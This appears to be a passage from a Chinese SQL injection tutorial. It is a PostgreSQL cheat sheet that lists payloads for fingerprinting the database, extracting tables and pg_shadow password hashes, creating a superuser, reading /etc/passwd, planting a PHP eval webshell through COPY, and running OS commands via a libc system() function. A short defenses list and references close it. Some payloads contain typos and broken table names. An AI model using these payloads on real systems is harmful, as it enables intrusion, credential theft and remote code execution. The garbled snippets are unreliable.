PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是学术研究使用。

14.1 Postgresql数据库注入常用语法

14.1.1 判断是否为postgresql数据库

1
?id=1+and+1::int=1--

返回正常则为postgresql数据库

14.1.2 判断数据库版本信息

1
?id=1+and+1=cast(version() as int)--

14.1.3 判断当前用户

1
?id=1 and 1=cast(user||123 as int)

14.1.4 判断有多少字段

1
2
order by
union select null,null

和Oracle相似,不能用直接用数字

14.1.5 获取当前用户

1
union select null,null,user

14.1.6 获取数据库版本信息

1
union select null,version(),null--

14.1.7 获取当前权限

1
union select null,current_schema(),null

14.1.8 获取当前数据库名称

1
union select null,current_database(),null

14.1.9 获取当前表名

1
union select null,relname,null from pg_stat_user_tables

14.1.10 读取每个表的列名

1
union select null,column_name,null from infromation_schena.columns where table_name='tablename'

14.1.11 列字段内容

1
union select null,name||pass,null from admin

14.1.12 查看postgresql数据库的账号密码

1
union select null,username||chr(124)||passwd,null from pg_shadow

14.1.13 创建用户

1
;create user username with superuser password 'password' --

14.1.14 修改用户密码

1
;alter user username with password 'new password' --

14.1.15 Postgresql写Shell

1
2
3
;create table shell(shell text not null);
;insert into shell values($$<?php @eval($_POST[wind]);?>$$);
;copy shell(shell) to '/var/www/html/shell.php';

另一种方法

1
;copy (select '$$<?php @eval($_POST[wind]);?>$$') to 'c/inetpub/wwwroot/mysql-sql/ddd.php'

读取文件前20行

1
pg_read_file('/etc/passwd',1,20)

14.1.16 创建system函数

用于版本大于8的postgreslq数据库

14.1.16.1 创建system函数

1
create FUNCTION system(cstring) RETURN int AS 'lib/libc.so.6','system' LANGUAGE 'c' STRICT

14.1.16.2 创建一个输出表

1
create table stdout(idserial,system_out text)

14.1.16.3 执行shell,输出到输出表内

1
select system('uname -a > /tmp/test')

14.1.16.4 copy输出的内容到表里:

1
COPY stdout(system_out) FROM '/tmp/test'

14.1.16.5 从输出表内读取执行后的回显,判断是否执行成功

1
union all select null,(select stdout from system_out order by id desc),null limit 1 offset 1 --

14.1.17 数据库备份还原

14.1.17.1 备份数据库

1
pg_dump -O -h ip -U postgres dbname > c:\mdb.sql

14.1.17.2 远程备份数据库备份到本地

1
pg_dump -O -h 本地IP -U dbowner -w -p port SS > SS.sql

14.1.17.3 还原数据库

1
psql -h localhost -U postgres -d dbname

14.2 注入过程

14.2.1 判断注入

1
2
3
' 报错
and 1=1 返回正常
and 1=2 返回错误

14.2.2 获取信息

14.2.2.1 获取数据库版本信息系统信息

1
and 1=cast(version() as int)

14.2.2.2 获取当前用户名称

1
and 1=cast(user||123 as int)

14.2.2.3 创建表

1
;create table tablename(w text not null);

14.2.2.4 导出一句话

1
;copy tablename to $$/var/www/webshell.php$$;

将一句话保存为webshell.php文件

15. Tips

15.1 判断数字型注入还是字符型注入

1
2
?id=1 and 1=1 #
?id=1' and '1'='1

15.2 注释

在做sqli-labs-master的时候
有些关可以直接使用#,有些关要将#进行URL编码写在payload中
有些关可以直接使用--,有些关要将空格进行URL编码写在payload中

16. 防注入

过滤函数

正则匹配

使用参数化查询

waf

设计验证

17. 参考

[1] Sqli_labs通关文档

[2] 【学习笔记】MYSQL的floor报错原理分析总结

[3] 伪静态注入的总结

[4] are-pdo-prepared-statements-sufficient-to-prevent-sql-injection

[5] 深入理解SET NAMES和mysql(i)_set_charset的区别

[6] Time-Based Blind SQL Injection using Heavy Query

[7] mysql 二十余种报错注入姿势

[8] SQL参数化查询

[9] MySQL时间盲注五种延时方法 (PWNHUB 非预期解)